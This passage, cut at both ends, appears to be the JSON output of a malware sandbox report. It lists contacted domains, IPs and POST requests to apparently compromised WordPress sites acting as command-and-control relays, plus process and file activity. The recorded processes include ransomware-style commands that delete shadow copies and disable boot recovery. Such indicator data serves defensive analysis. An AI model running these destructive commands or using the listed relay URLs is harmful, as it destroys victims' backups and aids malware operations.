States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"futurecomtechnologies.com","address":"158.69.38.48","country":"Canada","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"morphcoffee.com","address":"173.193.106.14","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"fortecegypt.com","address":"209.188.18.94","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"myexternalip.com","address":"78.47.139.102","country":"Germany","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"bryanfross.com","address":"184.168.205.1","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"cafejapan.com","address":"192.254.185.227","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"aplikacii.com","address":"136.243.70.31","country":"Germany","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"conopizzavenezuela.com","address":"66.33.199.145","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"idea-lab.kz","address":"185.22.65.55","country":"Kazakhstan","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"chadwondermagic.com","address":"192.185.153.59","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"grpgroup.co.il","country":"-","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"glamazona.com","address":"192.186.243.32","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"kesbuk.cz","address":"46.28.105.144","country":"Czech Republic","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"www.conopizza.net","address":"104.27.130.35","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"comoaprenderamaquillarse.com","address":"192.185.136.236","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"hiring-drivers.com","address":"192.185.21.174","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"homestyle1974.com","address":"204.11.56.48","country":"Virgin Islands (BRITISH)","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"oscotec.com","address":"211.119.245.55","country":"Korea Republic of","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"couponsonakeychain.com","address":"107.180.50.184","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"motored.pl","country":"-","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"isikbahcebakim.com","address":"212.146.135.37","country":"Turkey","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"canyonmidwifery.com","address":"67.202.92.7","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"www.altbausanierung-heilbronn.de","address":"5.35.254.107","country":"Germany","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"connectao.com","address":"192.232.223.73","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"fashionpeople.com.br","country":"-","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"paperplane.co.id","address":"103.23.20.231","country":"Indonesia","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"immbau24.de","address":"81.169.145.157","country":"Germany","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"hkmsm.com","address":"112.74.214.114","country":"China","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"misssupranationalthailand.com","address":"27.254.59.16","country":"Thailand","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"gsaarkansas.com","address":"107.180.45.202","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"biz-brokerage.com","address":"107.180.41.52","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"gei-th.com","address":"27.254.59.40","country":"Thailand","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"kwiatpaproci.mazury.pl","address":"144.76.105.212","country":"Germany","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]}],"http_requests":[{"host":"ip-addr.es","host_ip":"188.165.164.184:80","url":"/","method":"GET","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"},{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"majorleaguehomerepair.com","host_ip":"70.32.98.120:80","url":"/wp-content/uploads/rrrr.php?k=ayg0rgokoop","method":"POST","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"}]},{"host":"majorleaguehomerepair.com","host_ip":"70.32.98.120:80","url":"/wp-content/uploads/rrrr.php?a=3fwqno43a91","method":"POST","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"}]},{"host":"majorleaguehomerepair.com","host_ip":"70.32.98.120:80","url":"/wp-content/uploads/rrrr.php?v=s5w84w3ky31yc22","method":"POST","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"}]},{"host":"majorleaguehomerepair.com","host_ip":"70.32.98.120:80","url":"/wp-content/uploads/rrrr.php?d=j2tmduzafxzyie","method":"POST","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"}]},{"host":"majorleaguehomerepair.com","host_ip":"70.32.98.120:80","url":"/wp-content/uploads/rrrr.php?l=ksmfrjlgu2kn8","method":"POST","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"}]},{"host":"majorleaguehomerepair.com","host_ip":"70.32.98.120:80","url":"/wp-content/uploads/rrrr.php?e=oajalw5aw78hf","method":"POST","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"}]},{"host":"majorleaguehomerepair.com","host_ip":"70.32.98.120:80","url":"/wp-content/uploads/rrrr.php?u=d86qxai1851","method":"POST","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"}]},{"host":"myexternalip.com","host_ip":"78.47.139.102:80","url":"/raw","method":"GET","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"elanahmias.com","host_ip":"94.73.156.147:80","url":"/wp-content/uploads/r.php?n=jqf04ce8qyym3gq","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"hkmsm.com","host_ip":"112.74.214.114:80","url":"/wp-content/themes/xinji/rrrr.php?i=jqf04ce8qyym3gq","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"glamazona.com","host_ip":"192.186.243.32:80","url":"/plugins/system/plg_system_rewrite/rr.php?g=jqf04ce8qyym3gq","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"glamazona.com","host_ip":"192.186.243.32:80","url":"/cgi-sys/suspendedpage.cgi?g=jqf04ce8qyym3gq","method":"GET","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"gayphonesexboys.com","host_ip":"216.17.96.4:80","url":"/wp-content/uploads/rrrr.php?u=jqf04ce8qyym3gq","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"conopizzavenezuela.com","host_ip":"66.33.199.145:80","url":"/wp-content/plugins/stickyfooter/ccccc.php?u=jqf04ce8qyym3gq","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"aplikacii.com","host_ip":"136.243.70.31:80","url":"/openx/www/delivery/ccc.php?y=jqf04ce8qyym3gq","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"kesbuk.cz","host_ip":"46.28.105.144:80","url":"/wp-content/uploads/rrrr.php?h=jqf04ce8qyym3gq","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"content-into-cash.com","host_ip":"192.185.241.107:80","url":"/wp-content/plugins/pretty-link/cc.php?c=jqf04ce8qyym3gq","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"conopizzacolombia.com","host_ip":"66.33.199.145:80","url":"/wp-content/plugins/pods/cc.php?f=jqf04ce8qyym3gq","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"conopizzabrasil.com","host_ip":"66.33.199.145:80","url":"/wp-content/plugins/revision-control/ccc.php?t=jqf04ce8qyym3gq","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"oscotec.com","host_ip":"211.119.245.55:80","url":"/board/cccc.php?r=jqf04ce8qyym3gq","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"conopizzachile.com","host_ip":"66.33.199.145:80","url":"/wp-content/plugins/gravityforms/ccc.php?t=jqf04ce8qyym3gq","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"paperplane.co.id","host_ip":"103.23.20.231:80","url":"/site/ccccc.php?r=jqf04ce8qyym3gq","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"biz-brokerage.com","host_ip":"107.180.41.52:80","url":"/wp-content/plugins/wp-antibot-standart/rrr.php?l=jqf04ce8qyym3gq","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"jadeamazonia.com","host_ip":"66.228.39.246:80","url":"/wp-content/uploads/r.php?h=jqf04ce8qyym3gq","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"hiring-drivers.com","host_ip":"192.185.21.174:80","url":"/wp-content/plugins/revslider/temp/cc.php?d=jqf04ce8qyym3gq","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"chadwondermagic.com","host_ip":"192.185.153.59:80","url":"/wp-content/plugins/wp-quick-contact-us/cc.php?p=jqf04ce8qyym3gq","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"isikbahcebakim.com","host_ip":"212.146.135.37:80","url":"/wp-content/uploads/rrrr.php?x=jqf04ce8qyym3gq","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"isikbahcebakim.com","host_ip":"212.146.135.37:80","url":"/cgi-sys/suspendedpage.cgi?x=jqf04ce8qyym3gq","method":"GET","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"grizzlysts.com","host_ip":"47.48.157.51:80","url":"/wp-content/uploads/rrr.php?f=jqf04ce8qyym3gq","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"shipedtoyou.com","host_ip":"27.254.59.16:80","url":"/download/cc.php?r=jqf04ce8qyym3gq","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"cafejapan.com","host_ip":"192.254.185.227:80","url":"/wp-content/plugins/bwp-recent-comments/ccc.php?r=jqf04ce8qyym3gq","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"fortecegypt.com","host_ip":"209.188.18.94:80","url":"/blog/wp-content/themes/twentyfourteen/rrr.php?i=jqf04ce8qyym3gq","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"gei-th.com","host_ip":"27.254.59.40:80","url":"/ckfinder/cc.php?p=jqf04ce8qyym3gq","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"misssupranationalthailand.com","host_ip":"27.254.59.16:80","url":"/wp-content/cccc.php?m=jqf04ce8qyym3gq","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"gsaarkansas.com","host_ip":"107.180.45.202:80","url":"/wp-content/plugins/wp-antibot-standart/rrrr.php?r=jqf04ce8qyym3gq","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"majorleaguehomerepair.com","host_ip":"8.5.1.35:80","url":"/wp-content/uploads/rrrr.php?o=jqf04ce8qyym3gq","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"bryanfross.com","host_ip":"184.168.205.1:80","url":"/wp-content/themes/twentyeleven/ccccc.php?d=jqf04ce8qyym3gq","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"canyonmidwifery.com","host_ip":"67.202.92.7:80","url":"/wp-content/plugins/ultimate-branding/c.php?v=jqf04ce8qyym3gq","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"futurecomtechnologies.com","host_ip":"158.69.38.48:80","url":"/wp-content/plugins/jetpack/ccccc.php?n=jqf04ce8qyym3gq","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"immbau24.de","host_ip":"81.169.145.157:80","url":"/templates/atomic/rr.php?z=jqf04ce8qyym3gq","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"charlescrosson.com","host_ip":"192.185.149.154:80","url":"/wp-content/plugins/woodojo/ccccc.php?p=jqf04ce8qyym3gq","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"ferijalnirs.com","host_ip":"192.185.41.221:80","url":"/wp-content/plugins/revslider/temp/c.php?t=jqf04ce8qyym3gq","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"eiflthai.net","host_ip":"111.223.34.155:80","url":"/wp-content/themes/twentytwelve/rr.php?l=jqf04ce8qyym3gq","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"morphcoffee.com","host_ip":"173.193.106.14:80","url":"/wp-content/uploads/cc.php?m=jqf04ce8qyym3gq","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"conopizzauruguay.com","host_ip":"66.33.199.145:80","url":"/wp-content/wp-content/themes/twentythirteen/cccc.php?e=jqf04ce8qyym3gq","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"mohandeep.com","host_ip":"209.18.127.118:80","url":"/wp-content/uploads/rrr.php?h=jqf04ce8qyym3gq","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"clever-x.com","host_ip":"74.220.202.25:80","url":"/wp-content/plugins/sitepress-multilingual-cms/ccccc.php?b=jqf04ce8qyym3gq","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"cprnash.com","host_ip":"23.253.46.225:80","url":"/wp-content/themes/twentytwelve/c.php?n=jqf04ce8qyym3gq","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"connectao.com","host_ip":"192.232.223.73:80","url":"/wp-content/themes/twentyeleven/cc.php?j=jqf04ce8qyym3gq","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"kwiatpaproci.mazury.pl","host_ip":"144.76.105.212:80","url":"/images/ccccc.php?g=jqf04ce8qyym3gq","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"homestyle1974.com","host_ip":"204.11.56.48:80","url":"/wp-content/uploads/rrr.php?i=jqf04ce8qyym3gq","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"couponsonakeychain.com","host_ip":"107.180.50.184:80","url":"/wp-content/plugins/wp-smushit/ccc.php?n=jqf04ce8qyym3gq","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"communityneuroclinic.com","host_ip":"192.185.142.233:80","url":"/wp-content/themes/twentytwelve/cccc.php?x=jqf04ce8qyym3gq","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"comoaprenderamaquillarse.com","host_ip":"192.185.136.236:80","url":"/wp-content/themes/twentyten/c.php?s=jqf04ce8qyym3gq","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"elanahmias.com","host_ip":"94.73.156.147:80","url":"/wp-content/uploads/r.php?u=30qd4z9130nbx2","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"hkmsm.com","host_ip":"112.74.214.114:80","url":"/wp-content/themes/xinji/rrrr.php?c=30qd4z9130nbx2","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"glamazona.com","host_ip":"192.186.243.32:80","url":"/plugins/system/plg_system_rewrite/rr.php?h=30qd4z9130nbx2","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"glamazona.com","host_ip":"192.186.243.32:80","url":"/cgi-sys/suspendedpage.cgi?h=30qd4z9130nbx2","method":"GET","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"gayphonesexboys.com","host_ip":"216.17.96.4:80","url":"/wp-content/uploads/rrrr.php?i=30qd4z9130nbx2","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"conopizzavenezuela.com","host_ip":"66.33.199.145:80","url":"/wp-content/plugins/stickyfooter/ccccc.php?e=30qd4z9130nbx2","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"aplikacii.com","host_ip":"136.243.70.31:80","url":"/openx/www/delivery/ccc.php?y=30qd4z9130nbx2","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"kesbuk.cz","host_ip":"46.28.105.144:80","url":"/wp-content/uploads/rrrr.php?p=30qd4z9130nbx2","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"content-into-cash.com","host_ip":"192.185.241.107:80","url":"/wp-content/plugins/pretty-link/cc.php?c=30qd4z9130nbx2","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"conopizzacolombia.com","host_ip":"66.33.199.145:80","url":"/wp-content/plugins/pods/cc.php?h=30qd4z9130nbx2","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"conopizzabrasil.com","host_ip":"66.33.199.145:80","url":"/wp-content/plugins/revision-control/ccc.php?s=30qd4z9130nbx2","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"oscotec.com","host_ip":"211.119.245.55:80","url":"/board/cccc.php?a=30qd4z9130nbx2","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"conopizzachile.com","host_ip":"66.33.199.145:80","url":"/wp-content/plugins/gravityforms/ccc.php?c=30qd4z9130nbx2","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"paperplane.co.id","host_ip":"103.23.20.231:80","url":"/site/ccccc.php?r=30qd4z9130nbx2","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"biz-brokerage.com","host_ip":"107.180.41.52:80","url":"/wp-content/plugins/wp-antibot-standart/rrr.php?e=30qd4z9130nbx2","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"jadeamazonia.com","host_ip":"66.228.39.246:80","url":"/wp-content/uploads/r.php?i=30qd4z9130nbx2","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"hiring-drivers.com","host_ip":"192.185.21.174:80","url":"/wp-content/plugins/revslider/temp/cc.php?v=30qd4z9130nbx2","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"chadwondermagic.com","host_ip":"192.185.153.59:80","url":"/wp-content/plugins/wp-quick-contact-us/cc.php?a=30qd4z9130nbx2","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"isikbahcebakim.com","host_ip":"212.146.135.37:80","url":"/wp-content/uploads/rrrr.php?j=30qd4z9130nbx2","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"isikbahcebakim.com","host_ip":"212.146.135.37:80","url":"/cgi-sys/suspendedpage.cgi?j=30qd4z9130nbx2","method":"GET","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"grizzlysts.com","host_ip":"47.48.157.51:80","url":"/wp-content/uploads/rrr.php?h=30qd4z9130nbx2","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"shipedtoyou.com","host_ip":"27.254.59.16:80","url":"/download/cc.php?a=30qd4z9130nbx2","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"cafejapan.com","host_ip":"192.254.185.227:80","url":"/wp-content/plugins/bwp-recent-comments/ccc.php?f=30qd4z9130nbx2","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"fortecegypt.com","host_ip":"209.188.18.94:80","url":"/blog/wp-content/themes/twentyfourteen/rrr.php?q=30qd4z9130nbx2","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"gei-th.com","host_ip":"27.254.59.40:80","url":"/ckfinder/cc.php?w=30qd4z9130nbx2","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"misssupranationalthailand.com","host_ip":"27.254.59.16:80","url":"/wp-content/cccc.php?v=30qd4z9130nbx2","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"gsaarkansas.com","host_ip":"107.180.45.202:80","url":"/wp-content/plugins/wp-antibot-standart/rrrr.php?j=30qd4z9130nbx2","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"idea-lab.kz","host_ip":"185.22.65.55:80","url":"/wp-content/uploads/rrr.php?a=30qd4z9130nbx2","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"majorleaguehomerepair.com","host_ip":"8.5.1.35:80","url":"/wp-content/uploads/rrrr.php?t=30qd4z9130nbx2","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"bryanfross.com","host_ip":"184.168.205.1:80","url":"/wp-content/themes/twentyeleven/ccccc.php?v=30qd4z9130nbx2","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"host":"canyonmidwifery.com","host_ip":"67.202.92.7:80","url":"/wp-content/plugins/ultimate-branding/c.php?c=30qd4z9130nbx2","method":"POST","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"}],"processes":[{"pid":3516,"ppid":0,"name":"65e882dce05d76e49d2e1695012784f2b4c83f2271748f118b3965f3ed241529","command_line":"","normalized_path":"","uid":"00561468-00003516","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAAoSURBVFhH7dCBAAAAAMOg+VMf5IVQYcCAAQMGDBgwYMCAAQMGDLwPDBAgAAFlbGGjAAAAAElFTkSuQmCC"},{"pid":3548,"ppid":0,"name":"explorer.exe","command_line":"","normalized_path":"","uid":"00563750-00003548"},{"pid":3620,"ppid":0,"name":"vssadmin.exe","command_line":"Delete Shadows /All /Quiet","normalized_path":"","uid":"00567234-00003620"},{"pid":3760,"ppid":0,"name":"bcdedit.exe","command_line":"bcdedit /set {default} recoveryenabled No","normalized_path":"","uid":"00568265-00003760"},{"pid":2060,"ppid":0,"name":"bcdedit.exe","command_line":"bcdedit /set {default} bootstatuspolicy ignoreallfailures","normalized_path":"","uid":"00569390-00002060"}],"all_imported_dlls":["ws2_32.dll","comctl32.dll","rsaenh.dll","POWRPROF.dll","LZ32.dll","SETUPAPI.dll","NSI.dll","UxTheme.dll","pdh.dll","sechost.dll","IMM32.dll","VssTrace.DLL","OLEAUT32.dll","VSSAPI.DLL","vss_ps.dll","kernel32.dll","Msi.dll","USER32.dll","MSCTF.dll","SHLWAPI.dll","CFGMGR32.dll","LPK.dll","RASAPI32.dll","CRYPTBASE.dll","SspiCli.dll","DEVOBJ.dll","PSAPI.DLL","comdlg32.dll","gdiplus.dll","GDI32.dll","ole32.dll","wininet.dll","ADVAPI32.dll","SSPICLI.DLL","DUser.dll","VERSION.dll","COMCTL32.dll","KERNELBASE.dll","CLBCatQ.DLL","RpcRtRemote.dll","IMM32.DLL","msvcrt.dll","rasman.dll","RPCRT4.dll","CRYPTSP.dll","DUI70.dll","slc.dll","PROPSYS.dll","Secur32.dll","WS2_32.dll","ntdll.dll","USP10.dll","SHELL32.dll","apphelp.dll","EXPLORERFRAME.dll","dwmapi.dll","ATL.DLL","atl.dll","cfgmgr32.dll","msi.dll","rpcrt4.dll","msasn1.dll","ExplorerFrame.dll","lpk.dll","shell32.dll","cryptbase.dll","lz32.dll","nsi.dll","crypt32.dll","GdiPlus.dll","imm32.dll","msctf.dll","propsys.dll","advapi32.dll","version.dll","shlwapi.dll","sspicli.dll","clbcatq.dll","usp10.dll","urlmon.dll","uxtheme.dll","setupapi.dll","vssapi.dll","rpcss.dll","devobj.dll","rasapi32.dll","powrprof.dll","duser.dll","oleaut32.dll","KernelBase.dll","user32.dll","vsstrace.dll","gdi32.dll","cryptsp.dll","dui70.dll","secur32.dll","iertutil.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"etjn2ke@conopizzavenezuela[1].txt","sha256":"4e811bb96c9c1b11df287abd905eb5a2b721e06a3daf4c2b84458068d021e3f6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"name":"etjn2ke@conopizza[1].txt","sha256":"d91cccc9af0ef121783923765f3df271fcbfd7a306e1cd5131e784d6695ed2c8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"name":"etjn2ke@www.conopizza[1].txt","sha256":"be681867a3cb91efcded31f759fa9a06b838759c9fb6aaee8cb8180522edfdc4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"name":"etjn2ke@majorleaguehomerepair[1].txt","sha256":"9f9270b489e098285b1ca12b32eef1def355e687de21301c56f6bfb6936dcdd5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]}],"files_written":[{"path":"%WINDIR%\\Globalization\\Sorting\\sortdefault.nls","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"},{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"path":"%WINDIR%\\System32","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"},{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"path":"%WINDIR%\\system32\\rsaenh.dll","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"}]},{"path":"%WINDIR%\\explorer.exe","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"},{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"path":"C:\\4ca7a33e","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"path":"C:\\4ca7a33e\\4ca7a33e.exe","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"path":"%APPDATA%\\32ab864.exe","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Start 